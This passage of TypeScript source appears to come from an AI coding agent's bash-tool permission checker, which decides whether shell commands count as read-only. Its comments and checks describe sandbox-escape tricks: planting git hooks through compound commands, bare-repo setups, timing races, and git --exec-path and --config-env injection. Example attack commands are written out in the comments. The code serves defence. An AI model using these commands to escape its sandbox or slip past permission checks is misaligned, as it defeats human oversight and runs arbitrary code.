// Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
|
|
// The --exec-path flag allows overriding the directory where git looks for executables
|
|
if (
|
|
testCommand.includes('git') &&
|
|
/\s--exec-path[\s=]/.test(testCommand)
|
|
) {
|
|
return false
|
|
}
|
|
|
|
// Prevent git commands with --config-env flag to avoid config injection via environment variables
|
|
// The --config-env flag allows setting git config values from environment variables, which can be
|
|
// just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
|
|
if (
|
|
testCommand.includes('git') &&
|
|
/\s--config-env[\s=]/.test(testCommand)
|
|
) {
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
/**
|
|
* Checks if a compound command contains any git command.
|
|
*
|
|
* @param command The full command string to check
|
|
* @returns true if any subcommand is a git command
|
|
*/
|
|
function commandHasAnyGit(command: string): boolean {
|
|
return splitCommand_DEPRECATED(command).some(subcmd =>
|
|
isNormalizedGitCommand(subcmd.trim()),
|
|
)
|
|
}
|
|
|
|
/**
|
|
* Git-internal path patterns that can be exploited for sandbox escape.
|
|
* If a command creates these files and then runs git, the git command
|
|
* could execute malicious hooks from the created files.
|
|
*/
|
|
const GIT_INTERNAL_PATTERNS = [
|
|
/^HEAD$/,
|
|
/^objects(?:\/|$)/,
|
|
/^refs(?:\/|$)/,
|
|
/^hooks(?:\/|$)/,
|
|
]
|
|
|
|
/**
|
|
* Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
|
|
*/
|
|
function isGitInternalPath(path: string): boolean {
|
|
// Normalize path by removing leading ./ or /
|
|
const normalized = path.replace(/^\.?\//, '')
|
|
return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
|
|
}
|
|
|
|
// Commands that only delete or modify in-place (don't create new files at new paths)
|
|
const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
|
|
|
|
/**
|
|
* Extracts write paths from a subcommand using PATH_EXTRACTORS.
|
|
* Only returns paths for commands that can create new files/directories
|
|
* (write/create operations excluding deletion and in-place modification).
|
|
*/
|
|
function extractWritePathsFromSubcommand(subcommand: string): string[] {
|
|
const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
|
|
if (!parseResult.success) return []
|
|
|
|
const tokens = parseResult.tokens.filter(
|
|
(t): t is string => typeof t === 'string',
|
|
)
|
|
if (tokens.length === 0) return []
|
|
|
|
const baseCmd = tokens[0]
|
|
if (!baseCmd) return []
|
|
|
|
// Only consider commands that can create files at target paths
|
|
if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
|
|
return []
|
|
}
|
|
const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
|
|
if (
|
|
(opType !== 'write' && opType !== 'create') ||
|
|
NON_CREATING_WRITE_COMMANDS.has(baseCmd)
|
|
) {
|
|
return []
|
|
}
|
|
|
|
const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
|
|
if (!extractor) return []
|
|
|
|
return extractor(tokens.slice(1))
|
|
}
|
|
|
|
/**
|
|
* Checks if a compound command writes to any git-internal paths.
|
|
* This is used to detect potential sandbox escape attacks where a command
|
|
* creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
|
|
*
|
|
* SECURITY: A compound command could bypass the bare repo detection by:
|
|
* 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
|
|
* 2. Then running git, which would execute malicious hooks
|
|
*
|
|
* Example attack:
|
|
* mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
|
|
*
|
|
* @param command The full command string to check
|
|
* @returns true if any subcommand writes to git-internal paths
|
|
*/
|
|
function commandWritesToGitInternalPaths(command: string): boolean {
|
|
const subcommands = splitCommand_DEPRECATED(command)
|
|
|
|
for (const subcmd of subcommands) {
|
|
const trimmed = subcmd.trim()
|
|
|
|
// Check write paths from path-based commands (mkdir, touch, cp, mv)
|
|
const writePaths = extractWritePathsFromSubcommand(trimmed)
|
|
for (const path of writePaths) {
|
|
if (isGitInternalPath(path)) {
|
|
return true
|
|
}
|
|
}
|
|
|
|
// Check output redirections (e.g., echo x > hooks/pre-commit)
|
|
const { redirections } = extractOutputRedirections(trimmed)
|
|
for (const { target } of redirections) {
|
|
if (isGitInternalPath(target)) {
|
|
return true
|
|
}
|
|
}
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
/**
|
|
* Checks read-only constraints for bash commands.
|
|
* This is the single exported function that validates whether a command is read-only.
|
|
* It handles compound commands, sandbox mode, and safety checks.
|
|
*
|
|
* @param input The bash command input to validate
|
|
* @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
|
|
* This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
|
|
* @returns PermissionResult indicating whether the command is read-only
|
|
*/
|
|
export function checkReadOnlyConstraints(
|
|
input: z.infer<typeof BashTool.inputSchema>,
|
|
compoundCommandHasCd: boolean,
|
|
): PermissionResult {
|
|
const { command } = input
|
|
|
|
// Detect if the command is not parseable and return early
|
|
const result = tryParseShellCommand(command, env => `$${env}`)
|
|
if (!result.success) {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message: 'Command cannot be parsed, requires further permission checks',
|
|
}
|
|
}
|
|
|
|
// Check the original command for safety before splitting
|
|
// This is important because splitCommand_DEPRECATED may transform the command
|
|
// (e.g., ${VAR} becomes $VAR)
|
|
if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message: 'Command is not read-only, requires further permission checks',
|
|
}
|
|
}
|
|
|
|
// Check for Windows UNC paths in the original command before transformation
|
|
// This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
|
|
if (containsVulnerableUncPath(command)) {
|
|
return {
|
|
behavior: 'ask',
|
|
message:
|
|
'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
|
|
}
|
|
}
|
|
|
|
// Check once if any subcommand is a git command (used for multiple security checks below)
|
|
const hasGitCommand = commandHasAnyGit(command)
|
|
|
|
// SECURITY: Block compound commands that have both cd AND git
|
|
// This prevents sandbox escape via: cd /malicious/dir && git status
|
|
// where the malicious directory contains fake git hooks that execute arbitrary code.
|
|
if (compoundCommandHasCd && hasGitCommand) {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message:
|
|
'Compound commands with cd and git require permission checks for enhanced security',
|
|
}
|
|
}
|
|
|
|
// SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
|
|
// This prevents sandbox escape when an attacker has:
|
|
// 1. Deleted .git/HEAD to invalidate the normal git directory
|
|
// 2. Created hooks/pre-commit or other git-internal files in the current directory
|
|
// Git would then treat the cwd as the git directory and execute malicious hooks.
|
|
if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message:
|
|
'Git commands in directories with bare repository structure require permission checks for enhanced security',
|
|
}
|
|
}
|
|
|
|
// SECURITY: Block compound commands that write to git-internal paths AND run git
|
|
// This prevents sandbox escape where a command creates git-internal files
|
|
// (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
|
|
// malicious hooks from the newly created files.
|
|
// Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
|
|
if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message:
|
|
'Compound commands that create git internal files and run git require permission checks for enhanced security',
|
|
}
|
|
}
|
|
|
|
// SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
|
|
// (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
|
|
// Race condition: a sandboxed command can create bare repo files in a subdirectory,
|
|
// and a backgrounded git command (e.g. sleep 10 && git status) would pass the
|
|
// isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
|
|
if (
|
|
hasGitCommand &&
|
|
SandboxManager.isSandboxingEnabled() &&
|
|
getCwd() !== getOriginalCwd()
|
|
) {
|
|
return {
|
|
behavior: 'passthrough',
|
|
message:
|
|
'Git commands outside the original working directory require permission checks when sandbox is enabled',
|
|
}
|
|
}
|
|
|
|
// Check if all subcommands are read-only
|
|
const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
|
|
subcmd => {
|
|
if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
|
|
return false
|
|
}
|
|
return isCommandReadOnly(subcmd)
|
|
},
|
|
)
|
|
|
|
if (allSubcommandsReadOnly) {
|
|
return {
|
|
behavior: 'allow',
|
|
updatedInput: input,
|
|
}
|
|
}
|
|
|
|
// If not read-only, return passthrough to let other permission checks handle it
|
|
return {
|
|
behavior: 'passthrough',
|
|
message: 'Command is not read-only, requires further permission checks',
|
|
}
|
|
}
|